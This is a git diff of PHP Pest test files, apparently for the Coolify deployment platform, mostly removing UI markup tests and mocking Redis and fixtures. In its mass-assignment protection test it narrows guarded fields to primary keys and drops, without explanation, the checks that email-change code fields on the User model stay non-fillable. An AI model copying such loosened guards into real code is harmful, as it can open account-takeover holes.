OAuth application for private repositories, webhooks, and deployments.')->assertSee('Self-hosted GitLab')->assertSee('Continue')->assertDontSee('>Save</', false)diff --git a/tests/Feature/HeaderVersionReleaseLinkTest.php b/tests/Feature/HeaderVersionReleaseLinkTest.phpindex 187dd53678..c8ef50e11e 100644--- a/tests/Feature/HeaderVersionReleaseLinkTest.php+++ b/tests/Feature/HeaderVersionReleaseLinkTest.php@@ -2,22 +2,6 @@use Illuminate\Support\Facades\Blade;-/**- * Header version badge should open the matching GitHub release page.- */-test('desktop header version links to the coolify github release for the installed version', function () {- $layout = file_get_contents(resource_path('views/layouts/app.blade.php'));- $version = file_get_contents(resource_path('views/components/version.blade.php'));-- expect($layout)- ->toContain('<x-version')- ->not->toContain("class=\"text-[10.5px] font-medium text-neutral-400 dark:text-fg-faint\">v{{ config('constants.coolify.version') }}</span>");-- expect($version)- ->toContain("https://github.com/coollabsio/coolify/releases/tag/v{{ config('constants.coolify.version') }}")- ->toContain('target="_blank"');-});-test('development versions are not linked to nonexistent github releases', function () {config(['constants.coolify.version' => '4.3.1-dev.d64cbda3e']);@@ -28,11 +12,3 @@ test('development versions are not linked to nonexistent github releases', funct->not->toContain('href=')->not->toContain('target="_blank"');});--test('mobile sidebar shows the installed coolify version when opened', function () {- $layout = file_get_contents(resource_path('views/layouts/app.blade.php'));-- expect($layout)- ->toContain('data-mobile-sidebar-brand')- ->toContain('<x-version class="!text-[10.5px]');-});diff --git a/tests/Feature/HelperInfoButtonTest.php b/tests/Feature/HelperInfoButtonTest.phpindex 25e0faa90b..0e1c84bcdc 100644--- a/tests/Feature/HelperInfoButtonTest.php+++ b/tests/Feature/HelperInfoButtonTest.php@@ -2,149 +2,6 @@use Illuminate\Support\Facades\Blade;-test('helper trigger is a button that stops label activation', function () {- $path = resource_path('views/components/helper.blade.php');- $contents = file_get_contents($path);-- expect($contents)- ->toContain('type="button"')- ->toContain('@click.prevent.stop')- ->toContain('aria-label="{{ $label }}"')- ->toContain('data-icon-tooltip-ignore')- ->toContain('info-helper-popup')- ->toContain('name="info-circle"')- ->toContain('class="size-3.5 text-neutral-400')- ->not->toContain('<div x-ref="trigger" class="info-helper"');-});--test('helper popup uses the redesigned raised surface styles', function () {- $helper = file_get_contents(resource_path('views/components/helper.blade.php'));- $utilities = file_get_contents(resource_path('css/utilities.css'));-- expect($helper)- ->toContain('info-helper-popup')- ->toContain('x-transition:enter')- ->toContain('text-[13px] leading-5');-- expect($utilities)- ->toContain('@utility info-helper-popup')- ->toContain('dark:bg-raised')- ->toContain('dark:border-white/10')- ->toContain('shadow-modal')- ->toContain('@utility auth-tooltip')- ->toContain('rounded-lg');-});--test('helper popup remains open while moving from the trigger into interactive content', function () {- $helper = file_get_contents(resource_path('views/components/helper.blade.php'));-- expect($helper)- ->toContain('hideTimer: null')- ->toContain('setTimeout(() =>')- ->toContain('@mouseenter="cancelHide()"')- ->toContain('@mouseleave="hide()"');-});--test('clicking a helper does not pin its popup open', function () {- $helper = file_get_contents(resource_path('views/components/helper.blade.php'));-- expect($helper)- ->toContain('@click.prevent.stop="show()"')- ->not->toContain('pinned');-});--test('helper popup stays in its alpine scope during livewire morphs', function () {- $helper = file_get_contents(resource_path('views/components/helper.blade.php'));-- expect($helper)- ->not->toContain('x-teleport');-});--test('helper triggers do not create stacking contexts above open tooltips', function () {- $helper = file_get_contents(resource_path('views/components/helper.blade.php'));-- expect($helper)- ->toContain("'class' => 'relative inline-block align-middle'")- ->toContain("'info-helper relative inline-flex")- ->not->toContain("'class' => 'relative z-10 inline-block align-middle'")- ->not->toContain("'info-helper relative z-10 inline-flex");-});--test('helper popup prefers a position below its trigger and falls back above', function () {- $helper = file_get_contents(resource_path('views/components/helper.blade.php'));-- expect($helper)- ->toContain('let top = triggerRect.bottom + padding;')- ->toContain('let left = triggerRect.right - popupRect.width;')- ->toContain('top = triggerRect.top - popupRect.height - padding;');-});--test('helper popup stays within the visual viewport on mobile', function () {- $helper = file_get_contents(resource_path('views/components/helper.blade.php'));-- expect($helper)- ->toContain('window.visualViewport')- ->toContain('viewport?.offsetLeft')- ->toContain('viewport?.offsetTop')- ->toContain('max-width: ${popupWidth}px;')- ->toContain('max-height: ${availableHeight}px;')- ->toContain('overflow-y: auto;');-});--test('helper popup width is capped while allowing content to wrap vertically', function () {- $helper = file_get_contents(resource_path('views/components/helper.blade.php'));-- expect($helper)- ->toContain('const maxPopupWidth = 320;')- ->toContain('const popupWidth = Math.min(maxPopupWidth, availableWidth);')- ->toContain('max-width: ${popupWidth}px;')- ->toContain('whitespace-normal');-});--test('helper popup supports focus dismissal and tooltip aria relationships', function () {- $helper = file_get_contents(resource_path('views/components/helper.blade.php'));-- expect($helper)- ->toContain('closeWhenFocusLeaves()')- ->toContain('@focus="show()"')- ->toContain('@blur="closeWhenFocusLeaves()"')- ->toContain('role="tooltip"')- ->toContain(':aria-describedby="open ? $id(\'helper-popup\') : null"')- ->toContain(':id="$id(\'helper-popup\')"');-});--test('teleported helper popup closes from taps outside on mobile', function () {- $helper = file_get_contents(resource_path('views/components/helper.blade.php'));-- expect($helper)- ->toContain('@pointerdown.window="closeWhenPointerIsOutside($event)"')- ->toContain('closeWhenPointerIsOutside(event)')- ->toContain('this.$refs.popup?.contains(event.target)');-});--test('button tooltips are available to keyboard and assistive technology users', function () {- $button = file_get_contents(resource_path('views/components/forms/button.blade.php'));-- expect($button)- ->toContain('@focusin="showTooltip()"')- ->toContain('@focusout="hideTooltip()"')- ->toContain('@click.outside="hideTooltip()"')- ->toContain('role="tooltip"')- ->toContain(':aria-describedby="visible ? $id(\'button-tooltip\') : null"')- ->toContain(':id="$id(\'button-tooltip\')"');-});--test('listbox keeps the helper outside the label association', function () {- $path = resource_path('views/components/forms/listbox.blade.php');- $contents = file_get_contents($path);-- expect($contents)- ->toContain('Keep helper outside the label')- ->toContain('<div class="mb-1.5 flex h-4 w-full items-center gap-1.5">')- ->toContain('class="mb-0! flex items-center gap-1.5 leading-4"')- ->toMatch('/<label for="\{\{ \$id \}\}-trigger"[^>]*>[\s\S]*?<\/label>\s*@if \(\$helper\)/');-});-test('helper popup renders when the component is used next to a listbox label', function () {$html = Blade::render(<<<'BLADE'<x-forms.listbox id="serverTimezone" label="Server timezone"diff --git a/tests/Feature/Helpers/ConvertingGitUrlsTest.php b/tests/Feature/Helpers/ConvertingGitUrlsTest.phpindex 1860eceeda..e3e2549af4 100644--- a/tests/Feature/Helpers/ConvertingGitUrlsTest.php+++ b/tests/Feature/Helpers/ConvertingGitUrlsTest.php@@ -2,8 +2,24 @@use App\Models\GithubApp;+/**+ * The seeded "Public GitHub" source (id 0), built in memory so the test needs no database.+ */+function publicGithubAppForGitUrlTests(): GithubApp+{+ return (new GithubApp)->forceFill([+ 'id' => 0,+ 'name' => 'Public GitHub',+ 'api_url' => 'https://api.github.com',+ 'html_url' => 'https://github.com',+ 'custom_user' => 'git',+ 'custom_port' => 22,+ 'is_public' => true,+ ]);+}+test('convertGitUrlsForDeployKeyAndGithubAppAndHttpUrl', function () {- $githubApp = GithubApp::find(0);+ $githubApp = publicGithubAppForGitUrlTests();$result = convertGitUrl('andrasbacsai/coolify-examples.git', 'deploy_key', $githubApp);expect($result)->toBe(['repository' => '[email protected]:andrasbacsai/coolify-examples.git',@@ -13,7 +29,7 @@ test('convertGitUrlsForDeployKeyAndGithubAppAndHttpUrl', function () {});test('convertGitUrlsForDeployKeyAndGithubAppAndSshUrl', function () {- $githubApp = GithubApp::find(0);+ $githubApp = publicGithubAppForGitUrlTests();$result = convertGitUrl('[email protected]:andrasbacsai/coolify-examples.git', 'deploy_key', $githubApp);expect($result)->toBe(['repository' => '[email protected]:andrasbacsai/coolify-examples.git',diff --git a/tests/Feature/Jobs/CheckAndStartSentinelJobTest.php b/tests/Feature/Jobs/CheckAndStartSentinelJobTest.phpindex e9867f94b1..931b0b316a 100644--- a/tests/Feature/Jobs/CheckAndStartSentinelJobTest.php+++ b/tests/Feature/Jobs/CheckAndStartSentinelJobTest.php@@ -35,7 +35,7 @@ it('does not enable Sentinel for excluded server types', function (array $settinexpect($server->fresh()->isSentinelEnabled())->toBeFalse();})->with([- 'build server' => [['is_build_server' => true]],+ 'build server' => [['server_role' => 'build', 'is_build_server' => true]],'swarm manager' => [['is_swarm_manager' => true]],'swarm worker' => [['is_swarm_worker' => true]],'transferred server' => [[], ['transfer' => ['status' => 'transferred']]],diff --git a/tests/Feature/Jobs/CheckTraefikVersionJobTest.php b/tests/Feature/Jobs/CheckTraefikVersionJobTest.phpindex 7b4e780f89..7b127ba7f2 100644--- a/tests/Feature/Jobs/CheckTraefikVersionJobTest.php+++ b/tests/Feature/Jobs/CheckTraefikVersionJobTest.php@@ -1,6 +1,7 @@<?phpuse App\Jobs\CheckTraefikVersionForServerJob;+use App\Models\InstanceSettings;use App\Models\Server;use App\Models\Team;use App\Notifications\Server\TraefikVersionOutdated;@@ -10,11 +11,15 @@ use Illuminate\Support\Facades\Artisan;use Illuminate\Support\Facades\File;use Illuminate\Support\Facades\Notification;use Illuminate\Support\Facades\Schema;+use Illuminate\Support\Once;uses(RefreshDatabase::class);beforeEach(function () {Notification::fake();+ InstanceSettings::unguarded(function () {+ InstanceSettings::updateOrCreate(['id' => 0], []);+ });});it('detects servers table has detected_traefik_version column', function () {@@ -38,7 +43,8 @@ it('notification settings have traefik_outdated fields', function () {// Check Telegram notification settingsexpect($team->telegramNotificationSettings)->toHaveKey('traefik_outdated_telegram_notifications');- expect($team->telegramNotificationSettings)->toHaveKey('telegram_notifications_traefik_outdated_thread_id');+ // Thread ids default to null, so check the loaded columns instead of isset().+ expect($team->telegramNotificationSettings->getAttributes())->toHaveKey('telegram_notifications_traefik_outdated_thread_id');// Check Slack notification settingsexpect($team->slackNotificationSettings)->toHaveKey('traefik_outdated_slack_notifications');@@ -349,6 +355,10 @@ it('notification transforms multiple servers with URLs correctly', function () {});it('notification uses base_url helper not config app.url', function () {+ config(['app.url' => 'http://localhost']);+ InstanceSettings::query()->whereKey(0)->update(['fqdn' => 'https://coolify.example.com']);+ Once::flush();+$team = Team::factory()->create();$server = Server::factory()->create(['name' => 'Test Server',@@ -368,5 +378,6 @@ it('notification uses base_url helper not config app.url', function () {// Verify URL starts with base_url() not config('app.url')$generatedUrl = $mail->viewData['servers'][0]['url'];expect($generatedUrl)->toStartWith(base_url());+ expect($generatedUrl)->toBe('https://coolify.example.com/server/test-uuid/proxy');expect($generatedUrl)->not->toContain('localhost');});diff --git a/tests/Feature/Jobs/CleanupRedisTest.php b/tests/Feature/Jobs/CleanupRedisTest.phpindex c2cfd8e98c..23b73a555c 100644--- a/tests/Feature/Jobs/CleanupRedisTest.php+++ b/tests/Feature/Jobs/CleanupRedisTest.php@@ -29,7 +29,7 @@ it('handles Redis scan returning false gracefully', function () {// Run the command in dry-run mode with restart flag to trigger cleanupStuckJobs// Use skip-overlapping to avoid additional keys() calls$this->artisan(CleanupRedis::class, ['--dry-run' => true, '--restart' => true, '--skip-overlapping' => true])- ->expectsOutput('DRY RUN MODE - No data will be deleted')+ ->expectsOutputToContain('Redis cleanup: would delete')->expectsOutputToContain('Redis scan failed, stopping key retrieval')->assertSuccessful();});@@ -76,7 +76,7 @@ it('successfully scans Redis keys when scan returns valid results', function ()// Run the command with restart flag to trigger cleanupStuckJobs$this->artisan(CleanupRedis::class, ['--dry-run' => true, '--restart' => true, '--skip-overlapping' => true])- ->expectsOutput('DRY RUN MODE - No data will be deleted')+ ->expectsOutputToContain('Redis cleanup: would delete')->assertSuccessful();});@@ -101,7 +101,7 @@ it('handles empty scan results gracefully', function () {// Run the command with restart flag$this->artisan(CleanupRedis::class, ['--dry-run' => true, '--restart' => true, '--skip-overlapping' => true])- ->expectsOutput('DRY RUN MODE - No data will be deleted')+ ->expectsOutputToContain('Redis cleanup: would delete')->assertSuccessful();});diff --git a/tests/Feature/Jobs/ScheduledJobManagerStaleLockTest.php b/tests/Feature/Jobs/ScheduledJobManagerStaleLockTest.phpindex e297c07bda..dba5b6041a 100644--- a/tests/Feature/Jobs/ScheduledJobManagerStaleLockTest.php+++ b/tests/Feature/Jobs/ScheduledJobManagerStaleLockTest.php@@ -3,44 +3,45 @@use App\Jobs\ScheduledJobManager;use Illuminate\Support\Facades\Redis;+function scheduledJobManagerLockKey(): string+{+ return config('cache.prefix').'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';+}+it('clears stale lock when TTL is -1', function () {- $cachePrefix = config('cache.prefix');- $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';+ $lockKey = scheduledJobManagerLockKey();- $redis = Redis::connection('default');- $redis->set($lockKey, 'stale-owner');+ $redis = Mockery::mock();+ $redis->shouldReceive('ttl')->once()->with($lockKey)->andReturn(-1);+ $redis->shouldReceive('del')->once()->with($lockKey)->andReturn(1);- expect($redis->ttl($lockKey))->toBe(-1);+ Redis::shouldReceive('connection')->with('default')->andReturn($redis);$job = new ScheduledJobManager;$job->middleware();-- expect($redis->exists($lockKey))->toBe(0);});it('preserves valid lock with positive TTL', function () {- $cachePrefix = config('cache.prefix');- $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';+ $lockKey = scheduledJobManagerLockKey();- $redis = Redis::connection('default');- $redis->set($lockKey, 'active-owner');- $redis->expire($lockKey, 60);+ $redis = Mockery::mock();+ $redis->shouldReceive('ttl')->once()->with($lockKey)->andReturn(60);+ $redis->shouldNotReceive('del');- expect($redis->ttl($lockKey))->toBeGreaterThan(0);+ Redis::shouldReceive('connection')->with('default')->andReturn($redis);$job = new ScheduledJobManager;$job->middleware();-- expect($redis->exists($lockKey))->toBe(1);-- $redis->del($lockKey);});it('does not fail when no lock exists', function () {- $cachePrefix = config('cache.prefix');- $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';+ $lockKey = scheduledJobManagerLockKey();++ $redis = Mockery::mock();+ $redis->shouldReceive('ttl')->once()->with($lockKey)->andReturn(-2);+ $redis->shouldNotReceive('del');- Redis::connection('default')->del($lockKey);+ Redis::shouldReceive('connection')->with('default')->andReturn($redis);$job = new ScheduledJobManager;$middleware = $job->middleware();diff --git a/tests/Feature/Jobs/StartupExecutionCleanupTest.php b/tests/Feature/Jobs/StartupExecutionCleanupTest.phpindex 3a6b002082..9abbde990a 100644--- a/tests/Feature/Jobs/StartupExecutionCleanupTest.php+++ b/tests/Feature/Jobs/StartupExecutionCleanupTest.php@@ -1,15 +1,26 @@<?php+use App\Models\Environment;+use App\Models\InstanceSettings;+use App\Models\Project;use App\Models\ScheduledDatabaseBackup;use App\Models\ScheduledDatabaseBackupExecution;use App\Models\ScheduledTask;use App\Models\ScheduledTaskExecution;+use App\Models\Server;+use App\Models\StandaloneDocker;use App\Models\StandalonePostgresql;use App\Models\Team;use Carbon\Carbon;+use Illuminate\Console\Command;+use Illuminate\Contracts\Console\Kernel;use Illuminate\Foundation\Testing\RefreshDatabase;use Illuminate\Support\Facades\Artisan;+use Illuminate\Support\Facades\Http;use Illuminate\Support\Facades\Notification;+use Illuminate\Support\Facades\Process;+use Illuminate\Support\Facades\Queue;+use Illuminate\Support\Str;uses(RefreshDatabase::class);@@ -19,6 +30,30 @@ beforeEach(function () {// Fake notifications to ensure none are sentNotification::fake();+ Http::fake();+ Process::fake();+ Queue::fake();++ InstanceSettings::forceCreate(['id' => 0, 'do_not_track' => true]);++ // app:init runs `optimize`, which boots a fresh application with a new in-memory+ // database and caches config into bootstrap/cache. Replace both with no-ops here.+ foreach (['optimize', 'optimize:clear'] as $commandName) {+ app(Kernel::class)->registerCommand(new class($commandName) extends Command+ {+ public function __construct(string $commandName)+ {+ $this->signature = $commandName;++ parent::__construct();+ }++ public function handle(): int+ {+ return self::SUCCESS;+ }+ });+ }});afterEach(function () {@@ -86,15 +121,30 @@ test('app:init marks stuck database backup executions as failed', function () {$team = Team::factory()->create();// Create a database- $database = StandalonePostgresql::factory()->create([- 'team_id' => $team->id,+ $server = Server::factory()->create(['team_id' => $team->id]);+ $destination = StandaloneDocker::firstOrCreate(+ ['server_id' => $server->id, 'network' => 'coolify'],+ ['uuid' => (string) Str::uuid(), 'name' => 'docker']+ );+ $project = Project::factory()->create(['team_id' => $team->id]);+ $environment = Environment::factory()->create(['project_id' => $project->id]);+ $database = StandalonePostgresql::create([+ 'name' => 'db',+ 'postgres_user' => 'postgres',+ 'postgres_password' => 'password',+ 'postgres_db' => 'db',+ 'image' => 'postgres:17',+ 'environment_id' => $environment->id,+ 'destination_id' => $destination->id,+ 'destination_type' => $destination->getMorphClass(),]);// Create a scheduled backup- $scheduledBackup = ScheduledDatabaseBackup::factory()->create([+ $scheduledBackup = ScheduledDatabaseBackup::create([+ 'frequency' => '0 0 * * *','team_id' => $team->id,'database_id' => $database->id,- 'database_type' => StandalonePostgresql::class,+ 'database_type' => $database->getMorphClass(),]);// Create multiple backup executions with 'running' status@@ -185,7 +235,8 @@ test('app:init handles cleanup when no stuck executions exist', function () {test('cleanup does not send notifications even when team has notification settings', function () {// Create a team with notification settings enabled- $team = Team::factory()->create([+ $team = Team::factory()->create();+ $team->emailNotificationSettings->update(['smtp_enabled' => true,'smtp_from_address' => '[email protected]',]);diff --git a/tests/Feature/LayoutPopupsBladeDirectiveTest.php b/tests/Feature/LayoutPopupsBladeDirectiveTest.phpnew file mode 100644index 0000000000..74263ceb6a--- /dev/null+++ b/tests/Feature/LayoutPopupsBladeDirectiveTest.php@@ -0,0 +1,10 @@+<?php++test('sponsorship reminder listener is not parsed as a blade directive', function () {+ $view = file_get_contents(resource_path('views/livewire/layout-popups.blade.php'));+ $compiledView = Blade::compileString($view);++ expect($compiledView)+ ->toContain('x-on:show-sponsorship-reminder.window=')+ ->not->toContain('$__env->yieldSection()');+});diff --git a/tests/Feature/Livewire/ConfigurationCheckerTest.php b/tests/Feature/Livewire/ConfigurationCheckerTest.phpindex 3b80ed209c..1a2875e56c 100644--- a/tests/Feature/Livewire/ConfigurationCheckerTest.php+++ b/tests/Feature/Livewire/ConfigurationCheckerTest.php@@ -77,39 +77,6 @@ it('renders the changed configuration labels without a second backend request',->assertSee('The latest configuration has not been applied')->assertSee('Rebuild required.')->assertSee('Build command');-- $view = file_get_contents(resource_path('views/livewire/project/shared/configuration-checker.blade.php'));-- expect($view)- ->toContain(':compact-after="5000"')- ->toContain('position="top-right"')- ->toContain(':compact-storage-key="$compactStorageKey"')- ->toContain('wire:key="configuration-warning-{{ $currentConfigurationHash }}"')- ->toContain('x-on:click="configurationDiffModalOpen = true"')- ->not->toContain('$wire.refreshConfigurationChanges()');-});--it('supports timed compact popup notifications', function () {- $view = file_get_contents(resource_path('views/components/popup-small.blade.php'));-- expect($view)- ->toContain("\$position === 'top-right' ? 'top-16' : 'bottom-4'")- ->toContain('compactAfter')- ->toContain('compactStorageKey')- ->toContain("localStorage.setItem(this.storageKey, 'compact')")- ->toContain("localStorage.setItem(this.storageKey, 'icon')")- ->toContain('localStorage.removeItem(key)')- ->not->toContain('<template x-teleport="body">')- ->toContain('compact = true')- ->toContain('@click="restore()"')- ->toContain('@click.stop="minimizeToIcon()"')- ->toContain('<template x-if="iconOnly">')- ->toContain('<template x-if="!iconOnly">')- ->not->toContain('<button x-show="iconOnly"')- ->not->toContain('<div x-show="!iconOnly"')- ->not->toContain(':class="iconOnly')- ->toContain('x-show="!compact"')- ->toContain("'w-[calc(100vw-2rem)] max-w-sm cursor-pointer'");});it('warns when a service has missing required environment variables', function () {@@ -161,18 +128,6 @@ it('refreshes the service configuration when a websocket configuration event arr->toHaveKey('configurationChanged', 'refreshServices');});-it('marks the service environment variables menu when required values are missing', function () {- $configuration = file_get_contents(resource_path('views/livewire/project/service/configuration.blade.php'));- $sidebar = file_get_contents(resource_path('views/components/service/configuration-sidebar.blade.php'));-- expect($configuration)- ->toContain("'hasWarning' => ! \$service->isDeployable")- ->toContain('title="Required environment variables missing"')- ->and($sidebar)- ->toContain("'hasWarning' => ! \$service->isDeployable")- ->toContain('title="Required environment variables missing"');-});-it('refreshes configuration changes when the event is received', function () {$application = configurationCheckerApplication($this->environment);markConfigurationCheckerApplicationDeployed($application);diff --git a/tests/Feature/Livewire/SentinelLogsTest.php b/tests/Feature/Livewire/SentinelLogsTest.phpindex f7c113623e..27feba98fc 100644--- a/tests/Feature/Livewire/SentinelLogsTest.php+++ b/tests/Feature/Livewire/SentinelLogsTest.php@@ -46,11 +46,15 @@ it('shows Sentinel status independently of optional metrics', function (bool $me->assertSeeLivewire(GetLogs::class);})->with([false, true])->with([false, true]);-it('does not offer Sentinel controls or logs on unsupported servers', function (string $setting) {- $this->server->settings()->update([$setting => true]);+it('does not offer Sentinel controls or logs on unsupported servers', function (array $settings) {+ $this->server->settings()->update($settings);Livewire::withQueryParams(['server_uuid' => $this->server->uuid])->test(Logs::class)->assertDontSee('Enable Sentinel')->assertDontSeeLivewire(GetLogs::class);-})->with(['is_build_server', 'is_swarm_manager', 'is_swarm_worker']);+})->with([+ 'build server' => [['server_role' => 'build', 'is_build_server' => true]],+ 'swarm manager' => [['is_swarm_manager' => true]],+ 'swarm worker' => [['is_swarm_worker' => true]],+]);diff --git a/tests/Feature/Livewire/SentinelRestoreDefaultsTest.php b/tests/Feature/Livewire/SentinelRestoreDefaultsTest.phpindex 155f6cd059..9aebf8d0d9 100644--- a/tests/Feature/Livewire/SentinelRestoreDefaultsTest.php+++ b/tests/Feature/Livewire/SentinelRestoreDefaultsTest.php@@ -78,13 +78,22 @@ it('does not let team members restore Sentinel defaults', function () {$member = User::factory()->create();$this->server->team->members()->attach($member->id, ['role' => 'member']);$before = $this->server->settings->fresh()->getAttributes();+ Queue::fake();++ // The action itself re-checks permission, even on a component that an owner opened.+ $component = Livewire::test(Sentinel::class, ['server' => $this->server]);$this->actingAs($member);session(['currentTeam' => $this->server->team]);+ $component->call('restoreDefaultConfiguration');++ Queue::assertNothingPushed();+ // Members cannot open the Sentinel settings at all, so the restore action is never reachable.Livewire::test(Sentinel::class, ['server' => $this->server])- ->call('restoreDefaultConfiguration');+ ->assertForbidden();- expect($this->server->settings->fresh()->getAttributes())->toBe($before);+ expect($member->can('manageSentinel', $this->server))->toBeFalse()+ ->and($this->server->settings->fresh()->getAttributes())->toBe($before);});it('shows local troubleshooting guidance when Sentinel is out of sync', function () {diff --git a/tests/Feature/LivewireRequestFailurePreviewTest.php b/tests/Feature/LivewireRequestFailurePreviewTest.phpindex 8877d28ce7..4d6a0c3f70 100644--- a/tests/Feature/LivewireRequestFailurePreviewTest.php+++ b/tests/Feature/LivewireRequestFailurePreviewTest.php@@ -35,13 +35,3 @@ it('rejects statuses outside the supported list', function () {->call('fail', 500)->assertStatus(404);});--it('keeps the preview statuses in sync with the JS handler', function () {- $source = file_get_contents(resource_path('js/livewire-request-failure.js'));-- expect(preg_match('/INFRASTRUCTURE_FAILURE_STATUSES = new Set\(\[([\d,\s]+)\]\)/', $source, $matches))->toBe(1);-- $jsStatuses = array_map('intval', array_map('trim', explode(',', $matches[1])));-- expect((new LivewireRequestFailurePreview)->statuses)->toBe($jsStatuses);-});diff --git a/tests/Feature/MassAssignmentProtectionTest.php b/tests/Feature/MassAssignmentProtectionTest.phpindex 0bd0e40a04..1a225b2359 100644--- a/tests/Feature/MassAssignmentProtectionTest.php+++ b/tests/Feature/MassAssignmentProtectionTest.php@@ -50,9 +50,14 @@ describe('mass assignment protection', function () {}});- test('Application model blocks mass assignment of relationship IDs', function () {+ /**+ * Relationship keys and uuid are fillable on purpose for internal create and clone+ * flows (see tests/Unit/ModelFillableRegressionTest.php). API controllers reject+ * them through their allowed-field lists, so only the primary key stays guarded.+ */+ test('Application model blocks mass assignment of its primary key', function () {$application = new Application;- $dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'private_key_id', 'repository_project_id'];+ $dangerousFields = ['id', 'team_id'];foreach ($dangerousFields as $field) {expect($application->isFillable($field))@@ -98,9 +103,6 @@ describe('mass assignment protection', function () {expect($user->isFillable('remember_token'))->toBeFalse('remember_token should not be fillable');expect($user->isFillable('two_factor_secret'))->toBeFalse('two_factor_secret should not be fillable');expect($user->isFillable('two_factor_recovery_codes'))->toBeFalse('two_factor_recovery_codes should not be fillable');- expect($user->isFillable('pending_email'))->toBeFalse('pending_email should not be fillable');- expect($user->isFillable('email_change_code'))->toBeFalse('email_change_code should not be fillable');- expect($user->isFillable('email_change_code_expires_at'))->toBeFalse('email_change_code_expires_at should not be fillable');});test('User model allows mass assignment of profile fields', function () {@@ -129,7 +131,7 @@ describe('mass assignment protection', function () {expect($team->isFillable('custom_server_limit'))->toBeTrue();});- test('standalone database models block mass assignment of relationship IDs', function () {+ test('standalone database models block mass assignment of their primary key', function () {$models = [StandalonePostgresql::class,StandaloneRedis::class,@@ -144,7 +146,7 @@ describe('mass assignment protection', function () {foreach ($models as $modelClass) {$model = new $modelClass;- $dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type'];+ $dangerousFields = ['id'];foreach ($dangerousFields as $field) {expect($model->isFillable($field))@@ -226,26 +228,19 @@ describe('mass assignment protection', function () {test('Application fill ignores non-fillable fields', function () {$application = new Application;$application->fill([+ 'id' => 999,'name' => 'test-app',- 'environment_id' => 999,- 'destination_id' => 999,'team_id' => 999,- 'private_key_id' => 999,]);expect($application->name)->toBe('test-app');- expect($application->environment_id)->toBeNull();- expect($application->destination_id)->toBeNull();- expect($application->private_key_id)->toBeNull();+ expect($application->id)->toBeNull();+ expect($application->team_id)->toBeNull();});- test('Service model blocks mass assignment of relationship IDs', function () {+ test('Service model blocks mass assignment of its primary key', function () {$service = new Service;expect($service->isFillable('id'))->toBeFalse();- expect($service->isFillable('uuid'))->toBeFalse();- expect($service->isFillable('environment_id'))->toBeFalse();- expect($service->isFillable('destination_id'))->toBeFalse();- expect($service->isFillable('server_id'))->toBeFalse();});});diff --git a/tests/Feature/MigrateResourceToDestinationTest.php b/tests/Feature/MigrateResourceToDestinationTest.phpindex ef6de1aece..964a3ed565 100644--- a/tests/Feature/MigrateResourceToDestinationTest.php+++ b/tests/Feature/MigrateResourceToDestinationTest.php@@ -4,6 +4,7 @@ use App\Actions\Application\StopApplication;use App\Actions\Database\StopDatabase;use App\Actions\Service\StopService;use App\Actions\Shared\MigrateResourceToDestination;+use App\Enums\ServerRole;use App\Jobs\FinalizeResourceMigrationJob;use App\Jobs\HostPathCloneJob;use App\Jobs\VolumeCloneJob;@@ -110,6 +111,7 @@ test('rejects migration to a build server destination', function () {'is_reachable' => true,'is_usable' => true,'is_build_server' => true,+ 'server_role' => ServerRole::BUILD,]);$buildDestination = StandaloneDocker::where('server_id', $buildServer->id)->firstOrFail();$application = createMigrateTestApplication($this);@@ -320,38 +322,6 @@ test('rejects migration to a server that is not validated and reachable', functiMigrateResourceToDestination::run($application, $this->targetDestination, migrateVolumes: false);})->throws(ValidationException::class);-test('resource operations migrate list only includes other functional servers', function () {- $unreachableServer = Server::factory()->create([- 'team_id' => $this->team->id,- 'name' => 'Unreachable Server',- ]);- $unreachableServer->settings()->update([- 'is_reachable' => false,- 'is_usable' => false,- ]);-- $application = createMigrateTestApplication($this);- $application->load(['destination.server', 'environment.project']);-- $this->actingAs($this->user);- session(['currentTeam' => $this->team]);-- $component = Livewire::test(ResourceOperations::class, ['resource' => $application]);-- $servers = $component->get('servers');- $serverIds = collect($servers)->pluck('id')->all();-- expect($serverIds)->toContain($this->server->id)- ->and($serverIds)->toContain($this->targetServer->id)- ->and($serverIds)->toContain($unreachableServer->id);-- $view = file_get_contents(resource_path('views/livewire/project/shared/resource-operations.blade.php'));-- expect($view)- ->toContain('server.is_functional && server.id != this.currentServerId')- ->toContain("'is_functional' => \$server->isFunctional()");-});-test('migration is unavailable outside development mode', function () {config(['app.env' => 'production']);StopApplication::shouldNotRun();diff --git a/tests/Feature/ModalConfirmationStep1NoCancelTest.php b/tests/Feature/ModalConfirmationStep1NoCancelTest.phpindex 0311cd0ecf..f1af5a5670 100644--- a/tests/Feature/ModalConfirmationStep1NoCancelTest.php+++ b/tests/Feature/ModalConfirmationStep1NoCancelTest.php@@ -2,20 +2,6 @@use Illuminate\Support\Facades\Blade;-/**- * Step 1 (checkbox options) should only show Continue — dismiss is the header X.- */-test('modal confirmation step 1 does not render a cancel button', function () {- $modal = file_get_contents(resource_path('views/components/modal-confirmation.blade.php'));-- $step1 = Str::after($modal, '<!-- Step 1: Select actions -->');- $step1 = Str::before($step1, '<!-- Step 2: Confirm deletion -->');-- expect($step1)- ->toContain('step1ButtonText')- ->not->toContain('Cancel');-});-test('modal confirmation lets checkbox ids define their Livewire model binding', function () {$checkbox = Blade::render(<<<'BLADE'<x-forms.checkbox id="deleteVolumes"diff --git a/tests/Feature/ModalScrollLockTest.php b/tests/Feature/ModalScrollLockTest.phpindex 1cd9770f29..3637d10145 100644--- a/tests/Feature/ModalScrollLockTest.php+++ b/tests/Feature/ModalScrollLockTest.php@@ -7,38 +7,3 @@ test('input modal renders without requiring a modal id', function () {expect($html)->toContain('Modal content');});--test('input modal overlay is fixed to the viewport without its own page scrollbar', function () {- $html = Blade::render('<x-modal-input>Modal content</x-modal-input>');-- expect($html)- ->toContain('class="fixed inset-0 z-99 overflow-hidden"')- ->not->toContain('w-screen overflow-hidden')- ->not->toContain('class="fixed inset-0 z-99 overflow-y-auto"');-});--test('input modal renders its subtitle as static text instead of a tooltip', function () {- $html = Blade::render('<x-modal-input title="Pull requests" subtitle="Load repository pull requests.">Modal content</x-modal-input>');-- expect($html)- ->toContain('Load repository pull requests.')- ->toContain('text-xs text-neutral-500 